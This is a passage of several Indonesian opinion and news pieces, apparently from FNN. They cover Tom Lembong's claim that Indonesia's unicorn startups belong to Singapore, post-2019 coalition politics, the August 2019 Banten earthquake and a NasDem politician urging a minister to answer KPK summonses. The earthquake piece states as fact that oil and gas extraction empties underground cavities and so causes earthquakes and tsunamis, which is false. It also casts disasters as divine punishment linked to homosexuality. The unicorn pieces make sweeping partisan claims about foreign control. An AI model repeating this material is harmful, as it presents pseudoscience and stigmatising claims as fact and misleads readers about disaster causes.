pemain e-commerce terbesar di Asia Tenggara salah satunya unicorn milik Indonesia yakni Tokopedia. Digital Economy Compass juga menegaskan Indonesia memiliki 4 unicorn. Berdasarkan riset dari Digital Economy Compass 2019, disebutkan bahwa Indonesia memiliki 4 perusahaan unicorn. Seluruhnya merupakan perusahaan rintisan yang sempat disebut Tom diklaim milik Singapura. Dalam riset tersebut juga disebutkan dari 15 unicorn teratas yang ada di dunia, satu di antaranya milik Indonesia. Dalam riset yang dirilis oleh Friedrich Schwandt itu, perusahaan rintisan Indonesia Tokopedia mendapatkan suntikan dana besar dari Softbank, Alibaba Group, Sequola Capital India dengan total US$1,1 miliar. Entah riset yang mana yang dibaca Tom. Entah apa pula tujuan Tom menyebar hoaks secara resmi, kendati kemudian meralat melalui jejaring medsos. Bisa saja orang memaki Tom ceroboh, bego, serampangan, dan lainnya. Sebagai pejabat tinggi, apa dia tidak berpikir bahwa apa yang diomongkan tentang unicorn akan sangat berpengaruh terhadap kredibilitas Jokowi? Padahal Tom bukanlah nama baru di kalangan pejabat. Ia sudah menjadi kepala BKPM sejak 2016. Pria 48 tahun ini sempat menjadi Menteri Perdagangan RI (2015-2016). Sebelum menjadi menteri perdagangan, Tom adalah salah satu dari pendiri private equity fund, Quvat Management (Quvat) yang didirikan pada tahun 2006. Perusahaan investasi tersebut mengelola dana lebih dari US$500 juta. Lebih dari 11 perusahaan berada di bawah manajemen Quvat. Perusahaan-perusahaan tersebut bergerak di sektor kelautan, logistik, konsumsi, dan juga keuangan. Tomadalah lulusan Harvard University pada 1994 dengan program studi Architecture and Urban Design dengan gelar Bechelor of Arts. Pada tahun 2008, Tom Lembong pernah ditetapkan sebagai Young Global Leader (YGL) oleh World Economic Forum di Davos. Nyatanya, sekolah tinggi lulusan luar negeri dengan bejibun pengalaman kerja yang mentereng tak menjamin menjadi pejabat yang cerdas dan penuh perhitungan. Yang masih menjadi misteri, apa sebenarnya target Tom dengan hoaks yang ia sebar itu. Bagi umat Islam Indonesia boleh jadi bisa memaklumi kecerobohan ini. Manusia memang tempat lupa dan salah. Begitu juga Thomas Trikasih Lembong.

Ketika Jokowi Tertipu Unicorn, Lembong Pun Limbung

Kepala BKPM Thomas Lembong, menyatakan empat unicorn yakni Traveloka, Tokopedia, Bukalapak, dan Gojek adalah milik Singapura. Berbeda dengan klaim Jokowi yang menyatakan keempatnya milik Indonesia. Lembong keceplosan lalu dilarat. Oleh Hudzifah (Wartawan Senior) Jakarta, FNN - Kabar buruk dari Kepala Badan Koordinasi Penanaman Modal (BKPM) Thomas Trikasih Lembong soal 4 unicorn milik Singapura benar-benar bak petir di siang bolong. Sebab kita mendengar informasi pertama dari Presiden Jokowi bahwa ke-4 unicorn itu adalah milik Indonesia, kebanggaan tanah air. Kok bisa? Inilah ciri jaman disrupsi informasi (disruption information), Secara garis besar, pengertian disrupsi (disruption) adalah inovasi yang akan menggantikan seluruh sistem lama dengan cara-cara baru. Disrupsi berpotensi menggantikan pemain-pemain lama dengan baru. Disrupsi bisa dilihat sebagai sesuatu yang positif karena merupakan sebuah inovasi yang dinamis. Namun kaitannya dengan disrupsi informasi, dapat berarti informasi lama digantikan dengan informasi baru. Dalam konteks inilah informasi yang disampaikan Jokowi saat menjadi calon presiden begitu ‘pede’ dan bangga sekali dengan keberadaan unicorn yang dikembangkan anak bangsa. Bahkan sedikit menyudutkan Prabowo yang seolah tak paham soal unicorn, perusahan rintisan bermodal di atas US$1 miliar di Indonesia. Informasi lama datang dari Presiden Jokowi dan tentu kemungkinan besar atas bisikan Menkominfo Rudiantara. Bahwa Indonesia memiliki 4 unicorn, perusahaan rintisan (start up) dengan valuasi di atas US$1 miliar (Rp14 triliun). Keempatnya adalah Traveloka, Tokopedia, Bukalapak, dan Gojek. Bahkan belakangan Grab baru saja akan disuntik dana oleh pemodalnya Softbank Group hingga US$2 miliar. Informasi terbaru datang dari Kepala BKPM Tom Lembong, yang menyatakan keempat unicorn, bahkan yang kelima juga, adalah milik Singapura. Menurut Lembong keempat unicorn tersebut belum masuk dalam daftar hitungan investasi dalam negeri. Artinya, belum ada investasi yang masuk ke perusahaan start-up yang beroperasi di Indonesia. Investasi justru masuk ke perusahaan induk start-up tersebut di Singapura. “Jadi yang sedikit membingungkan ada pengumuman bahwa Grab akan investasi lagi sekian (US$2 miliar) dan Gojek baru dapat fund raising, tapi tidak nongol dalam arus modal masuk dalam bentuk investasi. Yang masuk investasi ke Singapura, induknya,” demikian jelas Tom Lembong di kantornya akhir bulan lalu. Fakta itu terkuak setelah hasil riset Google dan Temasek yang dalam laporannya menyebutkan bahwa investasi keempat start-up itu masuk ke perusahaan inti di Singapura. “Malah keempat unicorn kita (yang diklaim Jokowi) diklaim sebagai unicorn mereka,” tambah Lembong. Ia menambahkan uang yang masuk ke Indonesia hanya berupa pembayaran vendor-vendor, misalnya pembayaran iklan hingga sewa kantor. Seringkali masuknya bukan dalam bentuk investasi tapi oleh induk unicorn Singapura langsung membayar ke vendor atau supplier Indonesia. Jadi ada arus modal masuk tapi tidak langsung masuk ke PT di Inodnesia. Ternyata struktur arus dananya seperti itu. Tengok saja siapa sebenarnya pemodal kelima unicorn yang sudah terlanjur diklaim Jokowi milik kita, ternyata dibantah Lembong milik Singapura. Menurut laporan Tech-Crunch, Go-Jek telah mendapat persetujuan suntikan dana dari beberapa investor: Google, JD.com, dan Tencent sebesar US$920 juta (Rp13 triliun) yang bakal menaikkan valuasi perusahaan menjadi sekitar US$9,5 miliar (Rp133 triliun). Artinya, tinggal selangkah lagi Go-Jek “naik kelas” menjadi decacorn, yaitu startup dengan valuasi USD10 miliar ke atas. Di antara puluhan investor Go-Jek, diketahui hanya ada dua perusahaan dari dalam negeri, yakni Astra International Tbk (Indonesia) dengan kucuran dana US$150 juta (Rp2 triliun) dan Global Digital Niaga, anak perusahaan modal ventura Global Digital Prima (GDP) milik Djarum Group. Mereka tergabung dalam konsorsium investor yang menyuntikkan dana ke Go-Jek pada putaran penggalangan dana mulai akhir 2017 hingga awal 2018. Para investor lain Go-Jek kebanyakan perusahaan Amerika Serikat, China, dan Singapura. Dominasi kekuatan ekonomi asing di balik start-up lokal yang telah menjelma menjadi unicorn juga bisa dilihat di Tokopedia. Hanya ada satu investor lokal di perusahaan ini, yaitu Indonusa Dwitama, di antara sembilan perusahaan yang terdata oleh crunchbase.com. Indonusa Dwitama merupakan pemodal pertama Tokopedia serta menjadi bagian tak terlepaskan dari sejarah awal perjalanan e-commerce yang didirikan William Tanuwijaya dan Leontinus Alpha Edison ini. Kucuran dana terbaru yang diterima Tokopedia berasal dari Alibaba Group (China) dan Softbank Vision Fund (Inggris) senilai US$1,1 miliar melalui penjualan saham seri G pada 21 November 2018. Unicorn lokal lain, Traveloka, juga berkembang dengan kucuran dana dari investor AS, China, Jepang, dan India. Sedangkan info terbaru Soft Bank Group baru saja berencana menyuntik modal ke Grab senilai US$2 miliar (Rp28 triliun). Praktis semua unicorn di Indonesia kelaminnya adalah milik asing, bukan kelamin lokal sebagaimana yang digembar-gemborkan Presiden Jokowi. Tak tercatat satu pun investor lokal di perusahaan agregasi jasa perjalanan online ini. Beda dengan itu, mayoritas saham Bukalapak masih dikuasai PT Emtek yang masuk ke e-commerce besutan Achmad Zaky dan Nugroho Heru cahyono ini sejak 2014. Emtek, melalui anak perusahaannya, PT Kreatif Media Karya (KMK) memiliki 49,15% saham Buka lapak dari beberapa putaran investasi yang nilainya ditaksir hampir mencapai Rp500 miliar. Namun, Emtek hanya satu dari dua investor lokal Bukalapak. Satu investor lokal lainnya adalah Batavia Incubator, perusahaan join Corfina Group dengan mitranya, Rebright Partners, spesialis inkubator dari Negeri Matahari Terbit. Dari lima investor asing Bukalapak, tiga perusahaan dari Jepang, satu dari AS, dan satu perusahaan Korea Selatan yang baru saja mengucurkan US$50 juta pada pekan lalu. Lantas apa hikmah dibali unicorn yang sudah kadung kesohor milik lokal namun nyatanya milik asing itu? Pertama, jangan cepat percaya dan bangga dengan informasi fantastis kendati berasal dari presiden atau menteri sekalipun. Check dan re-check kembali dengan teliti sebelum menyesal di kemudian hari. Kedua, start-up raksasa atau unicorn ‘asal’ Indonesia, mayoritas sahamnya dikuasai asing yg berkedudukan di Singapore. Status perusahaan unicorn yang berkedudukan di Indonesia tersebut berubah fungsi menjadi kendaraan bisnis (special purpose vehicle--SPV) yang induknya ada di Singapura. Ketiga, Temasek sebagai Holding BUMN Singapura yang mengendalikan operasional kelima unicorn di Indonesia. Pola transfer pricing digunakan sehingga barang yang dipesan relatif lebih murah dibanding barang sejenis yg ada di mall-mall dan retailer di tanah air. Keempat, Indonesia hanya dijadikan pasar, industri manufaktur di tanah air menjadi mati suri, gaya hedonis menjadi life style rakyat Indonesia pada gilirannya mematikan karya anak bangsa. Lihat saja 187 gerai 7-Eleven, 32 gerai Giant, 80 gerai Matahari, Debenhams, Metro, dan lainnya harus tutup. Kelima, unicorn yang diklaim ‘asal’ Indonesia itu kini praktis menjadi "mesin sedot" uang perusahaan-perusahaan kelompok UMKM, retailer-retailer yang terkena dampak terpaksa tutup dan melakukan PHK. Keenam, akibat bisnis unicorn dan gegacorn di Indonesia, dipastikan ekonomi berbasis kerakyatan akan hancur alias kalah bersaing, terjadi capital outflow terselubung yang menggerus cadangan devisa dan memperlebar defisit transaksi perdagangan kita. Mengingat sebagian besar barang yang di-display di unicorn itu adalah impor dengan harga subsidi. Ketujuh, sebagai perusahaan yang berbasis teknologi informasi (IT), para unicorn itu tentu memiliki pusat data para pengakses aplikasinya. Dengan kepemilikan mayoritas, para investor asing itu dapat memanfaatkan database unicorn tersebut untuk kepentingan bisnis maupun kepentingan intelijen lainnya. Karena di industri IT dikenal idiom data is the new oil. Kedelapan, dominasi asing dalam bisnis yang berbasis penguasaan data publik secara jangka panjang bisa berisiko terhadap kedaulatan ekonomian nasional. Kesembilan, dengan pola-pola kebijakan yang ditempuh pemerintah selama ini tak hanya kedaulatan ekonomi yang menjadi taruhan, namun juga kedaulatan keamanan, kedaulatan informasi semakin terbuka. Semua tentang Indonesia sudah telanjang, terang benderan, tak ada lagi rahasia negara ini yang disembunyikan. Terlihat dengan terang benderang, dalan konteks informasi unicorn, Presiden Jokowi sebagai pihak yang tertipu. Entah siapa pembisiknya. Wajar kalau kemudian Tom Lembong menjadi Limbung. Kasihan Ibu Pertiwi, seperti sedang hamil tua, menunggu lahirnya Sang Pembela Negara. Karena tak ada lagi penjaga pilar bangsa, yang ada adalah para penjual negara.[] CAPTION FOTO: Data Unicorn Indonesia berdasarkan besaran valuasi (Sumber: iNews)

Politik Cakaran Ayam

Pemenangan Pilpres oleh Mahkamah Konstitusi memaksa politisi kita menciptakan politik cakar ayam untuk mengatasi landasan yang lembek. Oleh Asyari Usman (Wartawan Senior) Jakarta, FNN - Di dunia konstruksi, teknik “cakar ayam” sudah lama ditemukan. Penemunya adalah Prof Dr Ir Sedijatmo. Tahun 1961. Teknik ini menghapus frustrasi pembangunan gedung beton bertingkat di atas tanah lembut atau rawa-rawa. Sebagai gambaran singkat, teknik fondasi cakar ayam menggunakan kerangka besi pelat yang di bawahnya diperkuat oleh tancapan pipa-pipa beton. Lazimnya mirip bentuk cakar ayam. Cara ini mampu menahan tekanan turun yang berbeda-beda akibat bobot bangunan, dst. Cukup ruwet bagi saya yang tak paham ilmu konstruksi. Seacara tak sengaja, rupanya, teknik “cakar ayam” sedang teradopsi ke dunia politik Indonesia. Tetapi, cakar ayam di sini lebih pas disebut “cakaran ayam” bukan “cakar ayam”. Ada kemiripan kondisi ketika Prof Sedijatmo menciptakan teknik cakar ayam dengan kondisi “politik cakaran ayam” era Jokowi pasca-pilpres 2019. Kemiripan kondisi itu terletak pada kata “lembek”. Sang Profesor menghadapi masalah “tanah lembek” ketika mau membuat pondasi di kawasan rawa-rawa. Sedangkan Jokowi menghadapi masalah “alas kekuasaan yang lembek” setelah dimenangkan oleh Mahkamah Konstitusi (MK). Jokowi dan partai pendukung terbesar, PDIP (khususnya Ketum Megawati), merasa ada yang mengganjal. Alas kemenangan Jokowi dirasakan lemah (lembek). Mirip tanah lembut untuk pondasi gedung. Yang membuat Prof Sedijatmo berpikir keras menciptakan teknik cakar ayam. Sama halnya, fondasi kekuasaan Jokowi perlu diperkuat. Tidak ada cara lain kecuali membongkar fondasi (koalisi) yang ada. Mereka akhirnya mengusahakan rekonsilisasi dengan Prabowo yang diyakini banyak orang sebagai “pemenang asli” pilpres 2019. Prabowo menyambut ajakan rekonsiliasi. Bahkan sepakat untuk berkoalisi. Setuju bagi-bagi kekuasaan. Sama sekali di luar dugaan. Tapi, rekonsiliasi dan koalisi itu tidak semudah yang dibayangkan. Harus dikais-kais dari segala arah. Harus dicakar-cakarkan ke sana ke ini. Bagaikan ayam mencakar tanah untuk mencari makanan yang tak pasti. Inilah metode “politik cakaran ayam”. Dunia politik Indonesia menjadi jungkir balik. Bagai taman roller coaster. Kawan menjadi lawan. Musuh menjadi teman. Tak ada lagi mata angin politik konvensional. Yang di utara pindah ke selatan. Yang biasa di timur bergeser ke tenggara. Yang biasa dominan menjadi ‘letoi’. Yang selama ini di dalam, sekarang diusir keluar. Persis seperti hasil cakaran ayam. Berserakan ke mana-mana. Tak lagi konvensional. Tidak mudah dipahami dan tidak pula menggunakan cara berpolitik yang terhormat. Lebih kental kesan sesuka hati. Seperti ayam yang tak perduli bagaimana hasil cakarannya. Yang biasa memegang semua urusan, tiba-tiba merasa dekat ke liang kubur. Yang merasa menjadi hulubalang Queen Maker sekarang terpental. Mengamuk. Tak terima dijauhkan dari pusat kekuasaan. Parpol-parpol yang merasa bisa menentukan berapa kursi menteri untuk mereka, sekonyong-konyong merasa terkekang. Orang yang semula tidak punya kuasa besar, sekarang bakal menjadi king maker baru. Menjadi orang kuat baru. Bahkan berpeluang menjadi king-nya sendiri. Itulah politik cakaran ayam. Prof Sedijatmo pastilah tak menyangka kalau solusi pondasi tanah lembek berupa cakar ayam akan dipakai dalam bentuk cakaran ayam ketika menghadapi pondasi politik lembek pasca-pilpres 2019. Politik cakaran ayam Megawati-Jokowi sama tak lumrahnya dengan pondasi cakar ayam Prof Sedijatmo. Karena itu, banyak yang bisa segera menjadi doktor politik dengan objek penelitian di seputar “politik cakaran ayam” itu. Perlu secepat mungkin dan sebanyak mungkin mahasiswa S-3 studi politik membuat tesis-tesis yang isinya mematahkan politik cakaran ayam. Supaya metode ini tidak dikembangbiakkan atau didaur-ulang oleh para politisi yang tak memiliki alas kemenangan pemilu yang kuat. Politik Cakaran Ayam seperti yang sedang tayang hari ini harus dicegah. Karena satu-satunya produk yang dihasilkannya adalah kemunduran dunia poltik dan degradasi sistem demokrasi. **

Gempa Sumur: Pesan Langit Itupun Sudah Sampai Ibukota

Hanya gempa berkekuatan di atas 7,7 SR yang bisa menyebabkan gelombang pasang. Tsunami bisa menyapu ke segala arah dari pusat gempa dan menyerang seluruh garis pantai. Oleh Mochamad Toha (Wartawan Senior) Jakarta, FNN - Gempa bumi kembali terjadi. Catatan Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) menyebutkan, gempa berkekuatan 7,4 Skala Richter terjadi pada pukul 19.03.21 WIB, berpusat di 147 km barat daya Kecamatan Sumur, Pandeglang, Banten. Kedalaman pusat gempa adalah 10 km bawah permukaan laut. BMKG meminta semua pihak mewaspadai potensi tsunami seusai gempa yang bisa menimbulkan gelombang tsunami yang cukup besar. “Potensi tsunami cukup besar,” kata Taufan Maulana. Menurut Kepala Bagian Humas BMKG itu, dari gambar BMKG terlihat potensi gelombang tsunami disimbolkan dengan warna kuning. Terlihat warna kuning meluas dari titik Sumur hingga seluruh pantai selatan Jawa dan barat Sumatera bagian selatan. Warna kuning terus ke selatan sampai Australia. Getaran gempa yang sempat membuat panik, sudah sampai ke DKI Jakarta, dan dirasakan pula oleh warga Kota Bekasi hingga Kota Tasikmalaya. Saat terjadinya gempa, Jum’at (2/8/2019), di depan Istana Merdeka, Jalan Medan Merdeka Utara, Jakarta, sedang ada wayangan “Nonton Bareng Presiden Jokowi Wayang Kulit Dalang Ki Manteb Sudarsono”. Belakangan ini, Indonesia sering dilanda bencana, seperti gempa bumi. Bisa jadi, ini sebuah peringatan dan pesan dan Langit. Bahwa di negeri nan indah ini telah terjadi “perusakan” di muka bumi. Banyak hal yang kita selalu abai setiap kali terjadi bencana. Lihat gempa bumi dan stunami yang terjadi di Provinsi Nangroe Aceh Darussalam (NAD), 26 Desember 2004 sehingga menjadi perhatian dunia. Gempa berkekuatan 8,9 SR diikuti tsunami dengan kecepatan 500 km/jam itu menelan korban lebih dari 150 ribu warga Aceh meninggal dunia. Hampir sebagian besar wilayah barat dan utara Aceh disapu bersih tsunami yang masuk ke darat. Di Banda Aceh saja gelombang tsunami sempat mencapai 5 km dari pantai. Inilah gempa terbesar yang pernah terjadi di Indonesia dalam kurun 2001-2004. Selama kurun waktu itu terjadi 22 gempa. Gempa berkekuatan 7,5 SR disertai tsunami pernah terjadi di Flores, NTT pada 1992 dengan korban tewas 1.952 orang. Pada 1994, gempa 5,9 SR disertai tsunami melanda Banyuwangi menelan korban 238 orang tewas. Pada 6 Februari 2004, gempa berkekuatan 6,9 SR menimpa Nabire, Papua menewaskan 35 orang. Pada 16 November 2004, gempa dengan 6,0 SR juga menimpa Alor, NTT dan menelan korban tewas 33 orang. Terakhir, pada 26 November 2004, Nabire kembali dilanda gempa berkekuatan 6,4 SR dan menelan korban 13 orang tewas. Di saat perhatian tertuju ke Alor dan Nabire, tiba-tiba Aceh dilanda gempa dan tsunami. Perhatian masyarakat Indonesia dan dunia pun tertuju ke Aceh. Karena gempa dan tsunami Aceh ini adalah bencana terbesar di dunia sejak 1964. Pusat gempa berjarak sekitar 150 km dari Kota Meulaboh dengan kedalaman sekitar 10 km. Getaran gempa dan gelombang tsunami tersebut juga melanda India, Srilanka, Myanmar, Bangladesh, Baladewa, Thailand, dan Malaysia. Total jumlah korban gempa dan tsunami, termasuk yang menimpa Aceh, ini sudah mencapai sekitar 270.000 orang tewas. Kendati musibah yang melanda Aceh dan sebagian wilayah Sumatera Utara (Sumut) itu sudah berlalu, namun trauma peristiwa tersebut tak bisa hilang dari benak pikiran kita. Apa yang sebenarnya terjadi di Serambi Mekkah itu? Mungkin sedikit uraian berikut ini bisa menjawabnya. Seperti diketahui, sebagian besar wilayah Aceh adalah penghasil minyak dan gas bumi. Entah sudah berapa banyak yang telah dieksploitasi untuk kepentingan ekonomi. E Sehingga, sebagian besar rongga perut bumi di bawahnya menjadi kosong karena sudah disedot. Akibatnya, lapisan atau kerak bumi yang ada di atasnya menjadi ambrol. Migas yang seharusnya berfungsi sebagai pelumas dan penahan beban lapisan itu, kosong. Jadi, bukan semata-mata karena ada pergeseran lempeng dasar laut saja, seperti kata para pakar gempa dan geologi. Warna air laut coklat-kehitaman itu tak lain sebenarnya adalah sisa-sisa minyak yang keluar dari rongga perut bumi di bawah lautan Aceh. Setelah lapisan bumi ini ambrol, maka air laut masuk ke dalam rongga perut bumi yang kosong itu. Dengan masuknya air laut menggantikan migas yang sudah tak ada lagi itu, maka berkurang pula getaran yang ditimbulkan akibat gesekan kerak bumi di dalamnya. Para ahli geologi dan pakar gempa tak pernah berpikir, kosongnya rongga perut bumi itu bisa menyebabkan ambrolnya lapisan bumi yang ada di atasnya. Jika eksplorasi terjadi di darat, dampak gempanya lebih dahsyat, seperti di China pada 27 Juli 1976. Korban akibat gempa 8,0 SR di Tangshan, China itu mencapai 250.000 orang tewas. Gempa dengan jumlah korban yang besar juga pernah terjadi di Mexico City pada 19 September 1985 berkekuatan 7,6 SR dengan korban 10.000 orang tewas. Di Armenia pada Desember 1988, gempa berkekuatan 6,9 SR dengan korban tewas 25.000 orang. Gempa berkekuatan 7,4 SR juga menimpa Turki pada 17 Agustus 1999 dan menewaskan 17.000 orang. India Barat juga pernah dilanda gempa pada 26 Januari 2001. Gempa berkekuatan 7,9 SR itu menelan korban tewas 30.000 orang. Yang terbaru terjadi di Bam, Iran, pada 26 Desember 2003. Gempa berkekuatan 6,7 SR itu telah menelan korban 50.000 orang meninggal. Dan, tepat setahun setelah gempa di Bam itu, Aceh juga dilanda gempa dan tsunami terdahsyat sejak 1964. Selang beberapa waktu kemudian, gempa juga menimpa perbatasan India, Pakistan, dan Afghanistan dengan jumlah korban yang tak sedikit pula. Semua wilayah yang dilanda gempa itu termasuk daerah kaya migas yang sudah puluhan tahun dieksploitasi, seperti halnya wilayah Aceh. Dampak eksplorasi minyak itu memang baru terasa setelah puluhan tahun. Jika eksplorasi itu berlangsung di lautan, maka gempa tersebut akan diikuti dengan tsunami. Kata pakar gempa Wong Wingtak di Hongkong Observatory, tsunami adalah gelombang pasang nan dahsyat yang disebabkan gempa bumi di lempeng dasar laut. Gelombang itu bisa menerpa lokasi dalam jarak yang jauh dalam waktu cepat. Akibat guncangan seismik yang kuat itu, tsunami bisa mencapai ketinggian dan kecepatan yang luar biasa. Tak hanya itu. Bahkan, guncangan itu bisa menimbulkan gelombng sejauh ribuan kilometer dari asalnya dengan efek yang merusak. Korban pun selalu berjatuhan. Gelombang nan dahsyat itu juga dapat dilihat di lautan. Namun, jika kita naik kapal, mungkin kita malah tak merasakan adanya tsunami. Tapi tsunami justru punya kekuatan mahadahsyat ketika mendekati pantai dan menjangkau perairan yang dangkal. Saat itulah, kekuatannya bisa mendorong gelombang lebih dari 10 kali lipat lebih tinggi ketimbang permukaan laut. Wong menyebutkan, sebenarnya beberapa gejala alam bisa mengakibatkan tsunami. Misalnya, tanah longsor dan letusan gunung berapi. Tapi, penyebab yang paling umum adalah gempa di dasar laut. Kasawan Pasifik termasuk yang paling sering mengalami gempa bawah laut. Hal tersebut terkait pergerakan lempeng tektonik bumi. Gelombang pasang bukanlah fenomena umum dalam kasus terjadinya gempa di dasar laut. Kata Wong, hanya gempa berkekuatan di atas 7,7 SR yang bisa menyebabkan gelombang pasang. Tsunami bisa menyapu ke segala arah dari pusat gempa dan menyerang seluruh garis pantai. Kecepatan gelombang tsunami terkait kedalaman laut. Kecepatannya bisa sampai ratusan kilometer per jam. Pada 1960, misalnya, gelombang pasang berkecepatan 750 km per jam menghantam Jepang menyusul serangkaian gempa di Cile dan Samudera Pasifik. Ratusan orang tewas saat itu. Pada September 1992, tsunami menyapu pantai Nikaragua, sebanyak 13.000 orang tewas. Pada 17 Juli 1998, dua gempa dengan 7 SR menyebabkan gelombang setinggi 7 m, menghancurkan kawasan sejauh 30 km dari pantai utara Papua Nugini menewaskan 2.123 orang di 7 desa. Gempa berkekuatan 9,0 SR disertai tsunami dahsyat juga terjadi di Jepang pada 11 Maret 2011. Gempa terjadi di kedalaman laut 244 km itu menelan korban 15.269 tewas, 5.363 luka, dan 8.526 hilang. Gelombang laut mencapai ketinggian 10 m. Minggu malam, (5/8/2018), gempa kembali mengguncang Indonesia. Kali ini terjadi di Lombok, Nusa Tenggara Barat. Data BNPB hingga Senin (6/8/2018) malam, sebanyak 98 orang meninggal dunia dan 209 korban luka-luka akibat bencana gempa itu. Sebagai orang beriman harus percaya, bencana itu seolah berkata, menjawab, tiada kekuasaan dan kesombongan dunia yang bisa menolak kehendak-Nya. Dalam bahasa religi, setidaknya ada tiga hikmah yang bisa dipetik dari bencana di Indonesia. Pertama, bencana itu ujian bagi umat manusia. Kedua, teguran pada para pimpinan kita yang selama ini “menganiaya” Aceh. Dan ketiga, bisa diartikan juga sebagai hukuman pada para pimpinan kita yang menjadikan Aceh sebagai “objek” kepentingan politik. Begitu pula yang terjadi di Lombok. “Bapak polah, anak kepradah”. Pemimpin berulah, rakyat kesusahan. Mungkin lirik lagu Ebiet G. Ade ada benarnya, “Mungkin Tuhan mulai bosan melihat tingkah kita yang selalu salah dan bangga dengan dosa-dosa.” Gempa bumi berkekuatan 7,4 SR yang terjadi Jum’at (2/8/2019) malam itu tentunya tidak lepas dari KehendakNya, menjelang HUT Kemerdekaan RI ke-74. Allah SWT di dalam Al-Qur’an surat Al Araf ayat 4 pun sudah mengingatkan kita. Qur’an 7 : 4, yang artinya: “Betapa banyak negeri yang telah Kami binasakan, siksaan Kami datang (menimpa penduduknya) pada malam hari, atau pada saat mereka beristirahat di siang hari”. “Betapa banyak negeri yang telah kami binasakan, seperti negeri kaum nabi-nabi terdahulu, siksaan kami datang menimpa penduduk-Nya pada malam hari ketika mereka tengah terlelap dalam tidur seperti yang terjadi pada kaum Nabi Luth yang melakukan homoseks”. “Negeri mereka dijungkirbalikkan dan dihujani dengan batu. Atau siksaan itu datang pada saat mereka beristirahat pada siang hari seperti yang terjadi pada kaum Nabi Syuaib yang sering melakukan kecurangan dalam takaran dan timbangan”. “Mereka disiksa dengan suara yang menggelegar. Azab Allah bisa datang kapan saja, secara tak terduga, bahkan ketika waktu istirahat sekalipun. Maka ketika siksaan Kami datang menimpa mereka, keluhan mereka tidak lain, hanya mengucap, sesungguhnya kami adalah orang-orang yang zalim”. “Mereka mengakui dosa-dosanya, tapi semua penyesalan itu tidak ada gunanya lagi. Mereka tetap dibinasakan. Inilah siksaan mereka di dunia. Di akhirat nanti, azab Allah akan lebih pedih lagi. Mereka akan dimintakan pertanggungjawaban”. Referensi: https://tafsirweb.com/2458-surat-al-araf-ayat-4.html. Jika kita piawai membaca pesan alam, musibah dan bencana alam selama ini merupakan peringatan dari Langit atas perilaku seperti kaum Nabi Luth dan Nabi Syuaib di Indonesia. Taubat Nashuha adalah jawaban yang tepat untuk menghentikan bencana di Indonesia! ***

Kader Nasdem Ingatkan Enggartiasto Lukita Hormati Panggilan KPK

Jakarta, FNN - Politisi Partai Nasdem Kisman Latumakulita mengingatkan Menteri Perdagangan Enggartiasto Lukita agar menghormati panggilan Komisi Pemberantasan Korupsi (KPK). Sebab dengan memenuhi panggilan KPK untuk diperiksa penyidik adalah kewajiban hukum setiap warga negara. Sekaligus juga merupakan bentuk penghormatan kepada penegakan hukum di tanah air. “Sebagai seorang menteri, Enggar sebaiknya jangan banyak berkilah. Menghindar dari panggilan KPK itu perbuatan sangat tidak terpuji. Tidak perlu pula membuat alasan sana-sini untuk menghindar dari panggilan KPK. Sebab itu merupakan contoh buruk dari seorang pejabat tinggi negara terhadap penegakan hukum di tanah air, “ ujar Kisman kepada wartawan di Jakarta, Kamis (02/08) Ditambahkan Kisman, seorang pejabat tinggi negara setingkat menteri seperti Enggar wajib taat dan menghormati lembaga penegak hukum. Jangan cari-cari alasan untuk menghindar dari penggilan penyidik KPK. Enggar datang saja dan jelaskan kepada penyidik KPK apa saja yang diketahui tentang permasalahan hukum yang sedang dijalani politisi Golkar Bowo Sidik Pangarso. Sampai sekarang, tercatat lembaga anti rasuah tersebut sudah tiga kali memanggil Enggar untuk diperiksa sebagai saksi. Namun sudah tiga kali pula Enggar mangkir dari penggilan penyidik KPK. Berbagai alasan pembenaran dibuat Enggar untuk tidak memenuhi panggilan KPK. Sebenarnya KPK bisa saja melakukan upapa hukum memaksa untuk menghadirkan Enggar. Sebab upaya hukum memaksa itu dibenarkan oleh sistem hukum acara yang berlaku. Namun KPK tampaknya masih memberikan kesempatan terakhir bagi Enggar untuk memperlihatkan niat baiknya. KPK tentu berharap Enggar menghormati proses hukum yang sedang dilakukan KPK. “Kesibukan sebagai Menteri Perdagangan hendakanya tidak dijadikan alasan pembenaran oleh Enggar untuk mangkir dari panggilan KPK. Datang dan jelaskan kepada penyidik KPK bahwa anda tidak bersalah. Kalau Enggar merasa tidak bersalah, ayo hadapi dan tantang itu penyidik KPK. Katakan kepada penyidik “saya tidak bersalah”. Buktinya ini bla bla dan bla, “ kata Kisman. Menurut Kisman, kalau Enggar tidak berani memenuhi panggilan penyidik KPK, bisa menimbulkan penafsiran publik yang bermacam-macam. Publik bisa saja menduga, jangan-jangan Enggar memang benar-benar bersalah, sehingga takut diperiksa KPK. Kalau memang Enggar merasa tidak bersalah, mengapa tidak berani datang ke KPK untuk diperiksa? Sebagai kader dan petinggi Partai Nasdem, Enggar seharusnya bersikap kesatria saja. Lain halnya kalau Enggar lagi sakit atau sedang dirawat di rumah sakit. Kalau tidak sedang sakit, dan sengaja mengabaikan panggilan KPK, hanya dengan alasan kesibukan sebagai Menteri Perdagangan, tentu menjadi preseden dan contoh sangat buruk bagi kader muda Partai Nasdem. Partai Nasdem mengusung gagasan besar “Restorasi atau Gerakan Perubahan”. Salah satu pilar penting dan strategis dari “Gerakan Restorasi” adalah taat dan patuth kepada hukum. Selain itu, makna restorasi juga adalah menghargai, menghormati serta menjunjung tinggi lembaga-lembaga penegak hukum. Misalnya, KPK, kejaksaan, kepolisian serta lembaga peradilan. “Jika petinggi Partai Nasdem yang tidak menghargai, menghormati dan menjunjung tinggi lembaga-lembaga penegakan hukum, patut diduga orang tersebut adalah kader Partai Nasdem gadungan atau oplosan. Keberadaannya hanya menjadi parasit dan benalu di Partai Nasdem. Kalau ngomong, gayanya tinggi selangit. Kata anak medan “macam paling betul saja, “ tutur Kisman. Kisman mengingatkan Enggar bahwa Partai Nasdem lahir sebagai jawaban untuk memantapkan Indonesia sebagai negara demokrasi. Nasdem menolak demokrasi yang hanya merumitkan tata cara pemerintahan, tanpa memajukan kesejahteraan umum. Nasdem juga menolak demokrasi yang hanya menghasilkan rutinitas sirkulasi kekuasaan, tanpa kehadiran pemimpin yang berkualitas dan layak diteladani. Semua pesan ini bisa dibaca oleh Enggar dengan jelas dan terang di Mukadimah Anggara Dasar dan Angaran Rumah Tangga Partai Nasdem. Ciri dari negara demokrasi itu adalah ketaatan para penyelenggara negara kepada sistem hukum yang berlaku. Sedangkan perlunya kehadiran pemimpin berkualitas yang layak diteladani itu adalah pemimpin yang hormat dan taat kepada hukum positif dan lembaga-lembaga hukum yang ada. Misalnya saja KPK, kejaksaan, kepolisian dan lembaga 